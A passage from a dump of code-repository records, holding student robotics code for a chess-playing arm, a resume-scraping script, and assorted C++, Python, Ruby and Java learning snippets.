material, colour] = chessboard.pieces[from_pos]\n half_piece_height = (chessboard.pieces_height[material]/2)+chessboard.get_board_height()\n\n # Hover above the first field on SAFE height:\n sequence_list.append(apply_inverse_kinematics(from_x, safe_height, from_z, chessboard.field_size))\n\n # Hover above the first field on LOW height:\n sequence_list.append(apply_inverse_kinematics(from_x, low_height, from_z, chessboard.field_size))\n\n # Hover above the first field on half of the piece height:\n sequence_list.append(apply_inverse_kinematics(from_x, half_piece_height, from_z, chessboard.field_size))\n\n # Grip the piece\n sequence_list.append(apply_inverse_kinematics(from_x, half_piece_height, from_z, 0))\n\n # Give instruction to GUI to pickup piece\n sequence_list.append([\"GUI\", \"TAKE\", from_pos])\n\n # Hover above the first field on SAFE height, keeping the gripper closed\n sequence_list.append(apply_inverse_kinematics(from_x, safe_height, from_z, 0))\n\n # Move to new position on SAFE height\n sequence_list.append(apply_inverse_kinematics(to_x, safe_height, to_z, 0))\n\n # Hover above the second field on LOW height:\n sequence_list.append(apply_inverse_kinematics(to_x, low_height, to_z, 0))\n\n # Hover above the second field on half of the piece height:\n sequence_list.append(apply_inverse_kinematics(to_x, half_piece_height, to_z, chessboard.field_size))\n\n # Give instruction to GUI to drop piece\n sequence_list.append([\"GUI\", \"DROP\", to_pos])\n\n # Move to new position on SAFE height (And open the gripper)\n sequence_list.append(apply_inverse_kinematics(to_x, safe_height, to_z, chessboard.field_size))\n\n return sequence_list\n\ndef move_to_garbage(chessboard, from_pos):\n '''\n Computes the high path that the arm can take to move a piece from one place on the board to the garbage location.\n :param chessboard: Chessboard object\n :param from_pos: [a1-h8]\n :return: Returns a list of instructions for the GUI.\n '''\n sequence_list = []\n\n # We assume that 20 centimeter above the board is safe.\n safe_height = 0.2\n\n # We assume that 10 centimeter above the board is \"low\".\n low_height = 0.1\n\n drop_location = \"j5\"\n\n # Define half_piece_height according to which piece you are encountering (material)\n half_piece_height = (chessboard.pieces_height[material]/2)+chessboard.get_board_height()\n\n # Get the coordinates.\n (from_x, from_y, from_z) = board_position_to_cartesian(chessboard, from_pos)\n (to_x, to_y, to_z) = board_position_to_cartesian(chessboard, drop_location)\n\n # Hover above the first field on SAFE height:\n sequence_list.append(apply_inverse_kinematics(from_x, safe_height, from_z, chessboard.field_size))\n\n # Hover above the first field on LOW height:\n sequence_list.append(apply_inverse_kinematics(from_x, low_height, from_z, chessboard.field_size))\n\n # Hover above the first field on half of the piece height:\n sequence_list.append(apply_inverse_kinematics(from_x, half_piece_height, from_z, chessboard.field_size))\n\n # Grip the piece\n sequence_list.append(apply_inverse_kinematics(from_x, half_piece_height, from_z, 0))\n\n # Give instruction to GUI to pickup piece\n sequence_list.append([\"GUI\", \"TAKE\", from_pos])\n \n # Hover above the first field on SAFE height (Keep the gripper closed!!):\n sequence_list.append(apply_inverse_kinematics(from_x, safe_height, from_z, 0))\n\n # Move to new position on SAFE height\n sequence_list.append(apply_inverse_kinematics(to_x, safe_height, to_z, 0))\n\n # Hover above the second field on LOW height:\n sequence_list.append(apply_inverse_kinematics(to_x, low_height, to_z, 0))\n\n # Hover above the second field on half of the piece height:\n sequence_list.append(apply_inverse_kinematics(to_x, half_piece_height, to_z, chessboard.field_size))\n\n # Give instruction to GUI to drop piece\n sequence_list.append([\"GUI\", \"DROP\", drop_location])\n\n # Move to new position on SAFE height (And open the gripper)\n sequence_list.append(apply_inverse_kinematics(to_x, safe_height, to_z, chessboard.field_size))\n\n return sequence_list" }, { "alpha_fraction": 0.4750370681285858, "alphanum_fraction": 0.5229856371879578, "avg_line_length": 35.125, "blob_id": "5ed5c773d9b149a4f5a420f6184b0b3e2432bc07", "content_id": "b24d7b626a216877c6c269242ab6876f92f294d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2023, "license_type": "no_license", "max_line_length": 126, "num_lines": 56, "path": "/week2/umi_parameters.py", "repo_name": "ClaartjeBarkhof/ZoekenSturenBewegen", "src_encoding": "UTF-8", "text": "#!python2\n\nfrom __future__ import division, print_function\n\n################################\n# ZSB - Opdracht 2 #\n# umi_parameters.py #\n# 16/06/2017 #\n# #\n# Anna Stalknecht - 10792872 #\n# Claartje Barkhof - 11035129 #\n# Group C #\n# #\n################################\n\nclass UMI_parameters:\n def __init__(self):\n # Specifications of UMI\n # Zed\n self.hpedestal = 1.082 # di riser/zed in meters\n self.pedestal_offset = 0.0675 # ai riser/zed \n self.wpedestal = 0.1 # just leave it 0.1\n\n # Dimensions upper arm\n self.upper_length = 0.2535 # ai shoulder in meters \n self.upper_height = 0.095 # di shoulder in meters\n\n # Dimensions lower arm\n self.lower_length = 0.2535 # ai elbow in meters \n self.lower_height = 0.080 # di elbow in meters \n\n # Dimensions wrist\n self.wrist_height = 0.09 # di wrist in meters\n\n # Height of the arm from the very top of the riser, to the tip of the gripper.\n self.total_arm_height = self.pedestal_offset + self.upper_height \\\n + self.lower_height + self.wrist_height\n\n # Joint-ranges in meters (where applicable e.g. Riser, Gripper) and in degrees for the rest.\n\n ## TODO for students: REPLACE MINIMUM_DEGREES AND MAXIMUM_DEGREES FOR EACH INDIVIDUAL JOINT, THEY ARE NOT THE SAME FOR\n # SHOULDER, ELBOW, AND WRIST\n self.joint_ranges = {\n \"Riser\" : [0.0, 0.925],\n \"Shoulder\" : [-90.0, 90.0],\n \"Elbow\" : [-180.0, 110.0],\n \"Wrist\" : [-110.0, 110.0],\n \"Gripper\" : [0, 0.05]\n }\n\n def correct_height(self, y):\n '''\n Function that corrects the y value of the umi-rtx, because the real arm runs from\n from -self.hpedestal/2 to self.hpedestal/2, while y runs from 0 to self.hpedestal.\n '''\n return y - 0.5*self.hpedestal\n" }, { "alpha_fraction": 0.6972428560256958, "alphanum_fraction": 0.7147402167320251, "avg_line_length": 47.38461685180664, "blob_id": "8952390e2d4aa6365bb8e64e26bfb54c32bcfe27", "content_id": "95a02438faf4a36d5062f1b8e4065e8a83ab7528", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1886, "license_type": "no_license", "max_line_length": 103, "num_lines": 39, "path": "/week2/Errorreport.py", "repo_name": "ClaartjeBarkhof/ZoekenSturenBewegen", "src_encoding": "UTF-8", "text": "# ZSB - Opdracht 2 #\n# errorreport.py #\n# 16/06/2017 #\n# #\n# Anna Stalknecht - 10792872 #\n# Claartje Barkhof - 11035129 #\n# Group C #\n# #\n################################\n\n'''\nerror report\nWe started implementing the board_position_to_cartesian function. This function was\ntested by printing the cartesian values to see if thehy matched our calculation.\nWe also printed the board_position and the value of index function to see if it was working\ncorrectly.\n\nThen we implemented the high_path function which we tested by running the program and\npressing compute high path. We then checked the joints_simulation.txt file and saw that\nsomething had changed. We couldn't really test it more because we first had to implement \nthe inverse_kinematics.\n\nSo we made the inverse_kinematics function. And now we had te possibility to test it by\nrunning the program. At first the program wasn't working properly because it took chesspieces\nfrom the table instead of from the chessboard. We found out that it was because we switched x\nand z axes. \n\nThen we tried rotating the chessboard and we found out that our board_position_to_cartesian wasn't\nworking properly. It was only working when we turned the chessboard 0 or 180 degrees. That was because \nwe walked from h8 in the right angle but it didn't work the way we want. Than we changed\nthe function so it would calculate the cartesian from the original angle (0 degrees), and than \ncalculationg that position to the new position at the right angle. Then it worked.\n\nWe then had an error rotationg the chessboard -20degrees, the shoulder_angle gave a math error.\nThat was because the arms are not big enough to reach the top of the board at that angle.\nWhen placed the board closer to the gripper our program worked properly again.\n\n\n'''" } ]
5
LalithBabu18/python-beautifulsoup
https://github.com/LalithBabu18/python-beautifulsoup
ec2f12c57b69e2dcb5ac89d5212e8196653682e5
f6a568002ebd29e3ba802925e565c197ce6f5120
137f507f959b423e9559c0734a71d143d8bdaba5
refs/heads/master
2022-09-20T06:22:07.671527
2020-06-06T14:38:33
2020-06-06T14:38:33
270,007,984
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.537325918674469, "alphanum_fraction": 0.5378829836845398, "avg_line_length": 34.900001525878906, "blob_id": "2dc077eb7c44b913f89e1eaa0ce39a58b634412e", "content_id": "f2631522de79d62b7ec403411cdfc845c960b9fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3590, "license_type": "no_license", "max_line_length": 92, "num_lines": 100, "path": "/test.py", "repo_name": "LalithBabu18/python-beautifulsoup", "src_encoding": "UTF-8", "text": "import json\nimport pymongo\nfrom bs4 import BeautifulSoup\nclient = pymongo.MongoClient(\"mongodb+srv://localhost\")\ndb = client.test\ncol = db[\"resumes\"]\ndocuments = col.find({},no_cursor_timeout=True) # if limit not necessary then discard limit\nprint(type(documents))\nnew_col = db[\"resultResumes\"]\nfor i in documents:\n dict = {}\n doc = i[\"Resume-Html\"]\n soup = BeautifulSoup(''.join(doc),features=\"html.parser\")\n dict['_id'] = i['_id']\n dict['createdTime'] = i['createdTime']\n dict['Title'] = i['Title']\n location = soup.find('p', attrs={'class' : 'locality'})\n if location is not None:\n loc = location.get_text()\n locspace = \" \".join(loc.split())\n dict['Location'] = locspace\n else:\n dict['Location'] = \"\"\n education = soup.find('div',attrs={'class':'section-item education-content'})\n if education is not None:\n edu= education.get_text()\n eduspace = \" \".join(edu.split())\n edurem = eduspace.replace('Education', '')\n dict['Education'] = edurem\n else:\n dict['Education'] = \"\"\n\n workexperience = soup.find('div', attrs={'class':'section-item workExperience-content'})\n if workexperience is not None:\n # print(workexperience.get_text())\n bza = []\n abcd = soup.findAll('div', attrs={'class': 'work-experience-section'})\n k = 0\n for j in range(len(abcd)):\n\n print('---------------------------------------------------')\n print(j)\n worka = abcd[j].find('p', attrs={'class': 'work_title'})\n if worka is not None:\n workaa = worka.get_text()\n workspa = \" \".join(workaa.split())\n workb = abcd[j].find('div', attrs={'class': 'work_company'})\n if workb is not None:\n workba = workb.get_text()\n workspb = \" \".join(workba.split())\n workc = abcd[j].find('p', attrs={'class': 'work_dates'})\n if workc is not None:\n workca = workc.get_text()\n workspc = \" \".join(workca.split())\n workd = abcd[j].find('p', attrs={'class': 'work_description'})\n if workd is not None:\n workda = workd.get_text()\n workspd = \" \".join(workda.split())\n vskp = workspa + workspb + workspc + workspd\n\n # vskp.append(wora)\n # vskp.append(worb)\n # vskp.append(worc)\n # vskp.append(word)\n\n bza.append(vskp)\n\n\n print('---------------------------------------------------')\n print(bza)\n\n dict['WorkExperience'] = bza\n else:\n dict['WorkExperience'] = \"\"\n currentcompany = soup.find('div', attrs={'class':'work_company'})\n if currentcompany is not None:\n company= currentcompany.get_text()\n companyspace = \" \".join(company.split())\n dict['CurrentCompany'] = companyspace\n else:\n dict['CurrentCompany'] = \"\"\n skills = soup.find('div', attrs={'class':'data_display'})\n if skills is not None:\n skill= skills.get_text()\n skillspace = \" \".join(skill.split())\n skillarr = []\n skillarr.append(skillspace)\n dict['Skills'] = skillarr\n else:\n dict['Skills'] = \"\"\n introduction = soup.find('p', attrs={'class' : 'summary'})\n if introduction is not None:\n introduction = introduction.get_text()\n introductionspace = \" \".join(introduction.split())\n dict['Introduction'] = introductionspace\n else:\n dict['Introduction'] = \"\"\n\n\n new_col.insert_one(dict)\n" } ]
1
KartikTalwar/playground
https://github.com/KartikTalwar/playground
8ce776560fe93b2ba66ba6bfb3bd74aa160612c6
797ced9240bb68f72620fd42e8b22f4bf527753e
98dce1c6823bc7f34d53d41706fca9b197117cc4
refs/heads/master
2021-01-16T19:35:25.171487
2014-08-30T02:19:43
2014-08-30T02:19:43
2,872,315
6
2
null
null
null
null
null
[ { "alpha_fraction": 0.6190476417541504, "alphanum_fraction": 0.6190476417541504, "avg_line_length": 41, "blob_id": "b4015916b9f3a2d7d8f45ed64238c813b9907c40", "content_id": "9acd4f046e8aa45b55215e9977dd905ed6c01bc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 42, "license_type": "no_license", "max_line_length": 41, "num_lines": 1, "path": "/random/ArrayLength.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#define count(a) ( sizeof(a)/sizeof(*a) )\n" }, { "alpha_fraction": 0.5635648965835571, "alphanum_fraction": 0.5648754835128784, "avg_line_length": 10.388059616088867, "blob_id": "afdb104fc13cb68f350ddc18f0abaa7b5c62efaa", "content_id": "d90d92c1a973f4163f87ddf060739ad4b65e3ab8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 763, "license_type": "no_license", "max_line_length": 52, "num_lines": 67, "path": "/c++/C++ Basics/10CharacterIO.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream.h>\n#include <fstream.h>\n\n\nvoid simpleReplace(ifstream& ins, ofstream& ons);\n\nint main()\n{\n\tusing namespace std;\n\tchar input;\n\n\tcout << \"Enter a line to print it again: \" << endl;\n\n\n\tdo\n\t{\n\t\tcin.get(input);\n\t\tcout << input << endl;\n\t} while (input != '\\n' );\n\n\n\n\tifstream ins;\n\tofstream ons;\n\n\tins.open(\"test.txt\");\n\tons.open(\"testout.txt\");\n\n\tif ( ! ins.eof() )\n\t{\n\t\tcout << \"still reading\" << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"done reading\" << endl;\n\t}\n\n\n\tsimpleReplace(ins, ons);\n\n\tins.close();\n\tons.close();\n\n\treturn 0;\n}\n\nvoid simpleReplace(ifstream& ins, ofstream& ons)\n{\n\tchar next;\n\n\tifs.get(next);\n\n\twhile( ! ins.eof() )\n\t{\n\t\tif ( next == 'k')\n\t\t{\n\t\t\tons << \"K\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tons << next;\n\t\t}\n\n\t\tins.get(next);\n\t}\n}\n" }, { "alpha_fraction": 0.7552083134651184, "alphanum_fraction": 0.7552083134651184, "avg_line_length": 23, "blob_id": "c64755321a394282839dbd0237ba2ce0da3dea04", "content_id": "5386cae097def675168fdff34cb4783692f9ede0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 192, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/python/shell.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "import subprocess\n\ndef shell(command, stdout=True):\n if stdout:\n return subprocess.check_output(command, shell=True)\n return subprocess.check_call(command, shell=True)\n\nprint shell('ls')\n" }, { "alpha_fraction": 0.5272276997566223, "alphanum_fraction": 0.5383663177490234, "avg_line_length": 10.882352828979492, "blob_id": "aa1ef889c5b40583da2b5f0bb53bdc0de62d0577", "content_id": "4f8e5cb78a83c35c9f1d4a265943d07943618694", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 808, "license_type": "no_license", "max_line_length": 51, "num_lines": 68, "path": "/c++/C++ Basics/29SortTemplate.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#define count(n)( sizeof(n)/sizeof(*n) )\nusing namespace std;\n\n\ntemplate <class T>\nvoid swap(T& a, T& b)\n{\n\tT temp;\n\ta = b;\n\tb = temp;\n}\n\n\ntemplate <class T>\nvoid indexOfSmallest(const T a[], int start, int n)\n{\n\tT min = a[start];\n\tint imin = start;\n\n\tfor(int i=start+1; i<n; i++)\n\t{\n\t\tif(a[i] < min)\n\t\t{\n\t\t\tmin = a[i];\n\t\t\timin = i;\n\t\t}\n\t}\n\n\treturn imin;\n}\n\n\ntemplate <class T>\nvoid bubbleSort(T a[])\n{\n\tfor(int i=0; i < count(a); i++)\n\t{\n\t\tfor(int j=0; j< count(a)-1-i; j++)\n\t\t{\n\t\t\tif(a[j+1] < a[j])\n\t\t\t{\n\t\t\t\tswap(a[j], a[j+1]);\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n\ntemplate <class T>\nvoid secondSort(T a[], int n)\n{\n\tint ismall;\n\tfor(int i=0; i<n-1; i++)\n\t{\n\t\tismall = indexOfSmallest(a, i, n);\n\t\tswap(a[i], a[ismall]);\n\t}\n}\n\n\n\nint main()\n{\n\treturn 0;\t// too lazy to put up an example\n}\n" }, { "alpha_fraction": 0.5773333311080933, "alphanum_fraction": 0.5799999833106995, "avg_line_length": 11.694914817810059, "blob_id": "348a539d864e19d8a8380099ad47ae8eeaaef651", "content_id": "02eff9fc68debfee926728443942198ba115f635", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 750, "license_type": "no_license", "max_line_length": 73, "num_lines": 59, "path": "/c++/C++ Basics/39CustonExceptions.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nclass noMilk\n{\n\tpublic:\n\t\tnoMilk();\n\t\tnoMilk(int howMany);\n\t\tint getDonuts();\n\tprivate:\n\t\tint count;\n};\n\n\nnoMilk::noMilk()\n{\n\t// blank\n}\n\n\nnoMilk::noMilk(int howMany) : count(howMany)\n{\n\t// blank\n}\n\n\nint noMilk::getDonuts()\n{\n\treturn count;\n}\n\nint main()\n{\n\tint donuts, milk;\n\tdouble dpg;\n\t\n\ttry\n\t{\n\t\tcout << \"Enter number of donuts: \" << endl;\n\t\tcin >> donuts;\n\t\tcout << \"Enter glasses of milk : \" << endl;\n\t\tcin >> milk;\n\t\t\n\t\tif(milk < 1)\n\t\t{\n\t\t\tthrow noMilk(donuts);\n\t\t}\n\t\t\n\t\tdpg = donuts/double(milk);\n\t\tcout << \"You have \" << dpg << \" donuts for each glass of milk\" << endl;\n\t}\n\tcatch(noMilk e)\n\t{\n\t\tcout << \"\\n\" << e.getDonuts() << \" donuts and no milk\" << endl;\n\t}\n\t\n\treturn 0;\n}\n\n" }, { "alpha_fraction": 0.5616000294685364, "alphanum_fraction": 0.6047999858856201, "avg_line_length": 15.447368621826172, "blob_id": "a230e600626055159deddfa64f01d0bee5b3639f", "content_id": "8158edd5cfc06b24937168d06d247d5e13705dba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 625, "license_type": "no_license", "max_line_length": 45, "num_lines": 38, "path": "/c++/C++ Basics/01HelloWorld.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <iostream.h>\n\nusing namespace std;\n\nint main()\n{\n\tint variable1, variable2;\n\tchar var3;\n\tdouble var4, var5;\n\n\tcout << \"Please enter something. \\n\";\n\tcin >> variable1;\n\tcout << \"Now enter a letter\" ;\n\tcin >> var3\n\n\tvariable2 = variable1 + 2;\n\tvar4 = variable2 * 3.14;\n\tvar5 = var4 * 2.00;\n\n\tcout << \"The input plus two is : \";\n\tcout << variable2 ;\n\tcout << \"The letter entered was : \"; \n\tcout << var3 << \"\\n\" << (var4 + 1);\n\tcout << \"Now the next line is blank\" ;\n\tcout << endl;\n\tcout << \"Another calc is $\" << var5 << endl;\n\n\n\tcout.setf(ios::fixed);\n\tcout.setf(ios::showpoint);\n\tcout.percision(3);\n\n\n\n\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.6396104097366333, "alphanum_fraction": 0.6688311696052551, "avg_line_length": 16.11111068725586, "blob_id": "86b18b37c2095ce39c0fd30e5be172dfb7293294", "content_id": "7ba52863938946ba44f1a9b048397b9237356de6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 308, "license_type": "no_license", "max_line_length": 40, "num_lines": 18, "path": "/c++/C++ Basics/02NameTypes.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\nusing namespace std;\n\nint main()\n{\n\tshort s;\t// 2 bytes\n\tint number;\t// 4 byte integer \n\tlong longint;\t// 4 byte long integer\n\tfloat decimal;\t// 4 byte decimal number\n\tdouble test;\t// 8 byte to the power of\n\tlong double test2;\t// 10 byte power\n\n\tchar symbol;\t// character\n\n\treturn 0;\n\n}\n" }, { "alpha_fraction": 0.5753646492958069, "alphanum_fraction": 0.5818476676940918, "avg_line_length": 15.236842155456543, "blob_id": "e6eb585856c4c42121c9c50806d77c1254ae8164", "content_id": "76d2815fa1eb5df8b6492a1aab9c527d8cf93f6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 617, "license_type": "no_license", "max_line_length": 64, "num_lines": 38, "path": "/c++/C++ Basics/20Strings.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <cstring>\n#include <cstdlib>\n#include <cctype>\nusing namespace std;\n\nint main()\n{\n\tchar fname[7] = \"Kartik\";\n\tchar lname[] = \"Talwar\";\n\tchar initials[] = {'k', 't'};\n\tchar first[7];\n\tchar full[14];\n\t\n\t\n\tcout << fname << endl;\n\tcout << lname << endl;\n\n\tif(strcmp(fname, lname))\n\t{\n\t\tcout << \"The strings are same\" << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"They are different\" << endl;\n\t}\n\t\n\t\n\tstrcpy(first, \"Kartik\");\n\t\n\tcout << first << endl;\n\t\n\t\n\tcout << \"Length of my first name is \" << strlen(fname) << endl;\n\tcout << \"My full name is \" << strcat(full, \"Kartik Talwar\") << endl;\n\t\n}\n" }, { "alpha_fraction": 0.5665859580039978, "alphanum_fraction": 0.5738498568534851, "avg_line_length": 28.5, "blob_id": "b76668037c3067e24ccee2f8c6bcf80d5e300ab1", "content_id": "d6095c6c2bb72d48a1b7e482f5665d444b5244a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 413, "license_type": "no_license", "max_line_length": 76, "num_lines": 14, "path": "/random/StringPermutations.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def stringPermutations(string):\n rez = []\n\n if len(string) < 2:\n rez.append(string)\n else:\n for position in range(len(string)):\n perms = string[:position] + string[position+1:]\n for i in stringPermutations(perms):\n rez.append(string[position:position+1] + i)\n\n return rez\n\nprint stringPermutations('abc') # ['abc', 'acb', 'bac', 'bca', 'cab', 'cba']\n" }, { "alpha_fraction": 0.5567010045051575, "alphanum_fraction": 0.5592783689498901, "avg_line_length": 8.2380952835083, "blob_id": "c42af80542e84555a368d583a01ec11d0acf7302", "content_id": "95e30f762e0d5b17963d5ddd28805b2e6b31d011", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 388, "license_type": "no_license", "max_line_length": 33, "num_lines": 42, "path": "/c++/C++ Basics/16Namespaces.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\n\nnamespace kartik\n{\n\tvoid hello()\n\t{\n\t\tcout << \"Oh, Hai!\" << endl;\n\t}\n}\n\nnamespace talwar\n{\n\tvoid hello()\n\t{\n\t\tcout << \"Oh, Hello!\" << endl;\n\t}\n}\n\nvoid world()\n{\n\tcout << \"Hello, World!\" << endl;\n}\n\nint main()\n{\n\t{\n\t\tusing namespace kartik;\n\t\thello();\n\t}\n\t\n\t{\n\t\tusing namespace talwar;\n\t\thello();\n\t}\n\t\n\tworld();\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.6824925541877747, "alphanum_fraction": 0.6824925541877747, "avg_line_length": 13.65217399597168, "blob_id": "efbc112c479428a9b1c9e13885b5b7a42a8daebc", "content_id": "668bbdd5b4e14b6e2583a86432943520ccb0ba44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 337, "license_type": "no_license", "max_line_length": 56, "num_lines": 23, "path": "/c++/C++ Basics/35VirtualClassFunctions.h", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#ifndef SALE_H\n#define SALE_H\n\n#include <iostream>\nusing namespace std;\n\nnamespace customSale\n{\n\tclass Sale\n\t{\n\t\tpublic:\n\t\t\tSale();\n\t\t\tSale(double thePrice);\n\t\t\tvirtual double bill() const;\n\t\t\tdouble savings(const Sale& other) const;\n\t\tprotected:\n\t\t\tdouble price;\n\t};\n\t\n\tbool operator <(const Sale& first, const Sale& second);\n}\n\n#endif\n" }, { "alpha_fraction": 0.6381182074546814, "alphanum_fraction": 0.6429433226585388, "avg_line_length": 14.641509056091309, "blob_id": "48eac52e09799c59104f70f7243c66588ea4f170", "content_id": "e2af8ad8be4829658cfe36b8f3e298fdadf7c49d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 829, "license_type": "no_license", "max_line_length": 88, "num_lines": 53, "path": "/c++/C++ Basics/33BasicInheritance.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <cstdlib>\n#include <string>\n#include \"33BasicInheritance.h\"\nusing namespace std;\n\nnamespace myEmployees\n{\n\tEmployee::Employee();\n\t{\n\t\tcout << \"Enter name : \" << endl;\n\t\tgetline(cin, name);\n\t\tcout << \"Enter SIN\" << endl;\n\t\tgetline(cin, sin);\n\t}\n\n\tEmployee::Employee(string new_name, string new_number): name(new_name), sin(new_number)\n\t{\n\t}\n\n\tstring Employee::getName()\n\t{\n\t\treturn name;\n\t}\n\n\tstring Employee::getSIN()\n\t{\n\t\treturn sin;\n\t}\n\n\tvoid Employee::changeName(string new_name)\n\t{\n\t\tname = new_name;\n\t}\n\n\tvoid Employee::changeSIN(string new_sin)\n\t{\n\t\tsin = new_sin;\n\t}\n\n\tvoid Employee::printPay()\n\t{\n\t\tcout << \"There is a bug in this method\" << endl;\n\t\texit(1);\n\t}\n\n\tvoid Employee::getRaise(double amount)\n\t{\n\t\tcout << \"There is a bug in this method\" << endl;\n\t\texit(1);\n\t}\n}\n" }, { "alpha_fraction": 0.5612648129463196, "alphanum_fraction": 0.5652173757553101, "avg_line_length": 9.541666984558105, "blob_id": "cea9f979f00b4bffdf623735778bd924dc62fffe", "content_id": "8353c8b62f76d0c64cf9cf8b8e320b638db72cf6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 253, "license_type": "no_license", "max_line_length": 34, "num_lines": 24, "path": "/c++/C++ Basics/06Functions.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <math.h>\n\nusing namespace std;\n\nint main()\n{\n\tint a, calc;\n\n\tcout << \"enter a number\" << endl;\n\tcin >> a;\n\n\tcalc = myfcn(a);\n\n\tcout << calc << endl;\n}\n\nint myfcn(int a)\n{\n\tconst TO_ADD = 4;\n\tint b = a + TO_ADD;\n\n\treturn b;\n}\n" }, { "alpha_fraction": 0.53125, "alphanum_fraction": 0.6041666865348816, "avg_line_length": 23.125, "blob_id": "60830e34e03bd2461a13595d65373e3c62cbc79d", "content_id": "36dd4ef0b99aa1d9294e13ab34d80c7402d410d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 192, "license_type": "no_license", "max_line_length": 42, "num_lines": 8, "path": "/python/ArbitraryMapper.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def mapper(function, *params):\n\trez = []\n\tfor args in zip(*params):\n\t\trez.append(function(*args))\n\treturn rez\n\nprint mapper(abs, [-3, 5, -1, 42, 23])\nprint mapper(pow, [1, 2, 3], [2, 3, 4, 5])" }, { "alpha_fraction": 0.6842105388641357, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 14.833333015441895, "blob_id": "241bee1590ce6286c8527b58249f98bbb4caa414", "content_id": "f959882639170262b8b03e92b9b6fad796a87c02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 95, "license_type": "no_license", "max_line_length": 31, "num_lines": 6, "path": "/ruby/04Booleans.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "name = \"Kartik\"\nlname = \"\"\n\nputs name.empty?\nputs lname.empty?\nputs name.respond_to?(\"length\")\n" }, { "alpha_fraction": 0.59375, "alphanum_fraction": 0.6015625, "avg_line_length": 7.2580647468566895, "blob_id": "94ac75ef1ff6163d128726f9dd7a6cea97b63bcf", "content_id": "e0353730f7c0a7d9cc6b931805d627148feb1804", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 256, "license_type": "no_license", "max_line_length": 34, "num_lines": 31, "path": "/documentation/install/Java.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing Java Related Stuff\n\n## JDK\n\n**On Ubuntu**\n\n```\nsudo apt-get install openjdk-6-dk\n```\n\n\n## JRE\n\n**On Ubuntu**\n\n```\nsudo apt-get install openjdk-6-jre\n```\n\n\n## Ant\n\n```\nsudo apt-get install ant\n```\n\n## JavaC\n\n```\nsudo apt-get install javacc\n```\n" }, { "alpha_fraction": 0.538517951965332, "alphanum_fraction": 0.5407189726829529, "avg_line_length": 19.02941131591797, "blob_id": "33cd7ee7d335640305cd28c2e31c2bb956a5c420", "content_id": "e3603059926b01a32a756e5c0365386ff5a99237", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 70, "num_lines": 68, "path": "/ruby/Eloquent Ruby/6Classes.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class TextCompressor\n\n attr_reader :unique, :index\n\n def initialize(text)\n @unique = []\n @index = []\n\n words = text.split\n words.each do |x|\n i = @unique.index(word)\n if i\n @index += 1\n else\n @unique << word\n @index << unique.size - 1\n end\n end\nend\n\n\ncompressor = TextCompressor.new('this is some text text is this yo')\nunique_wrd = compressor.unique\nwords_idx = compressor.index\n\n\n# Optimized\n\nclass TextCompressor\n attr_reader :unique, :index\n\n def initialize(text)\n @unique = []\n @index = []\n\n add_text()\n end\n\n def add_text(text)\n words = text.split\n words.each {|word| add_word(word)}\n end\n\n def add_word(word)\n i = unique_index_of(word) || add_unique_word(word)\n @index << i\n end\n\n def 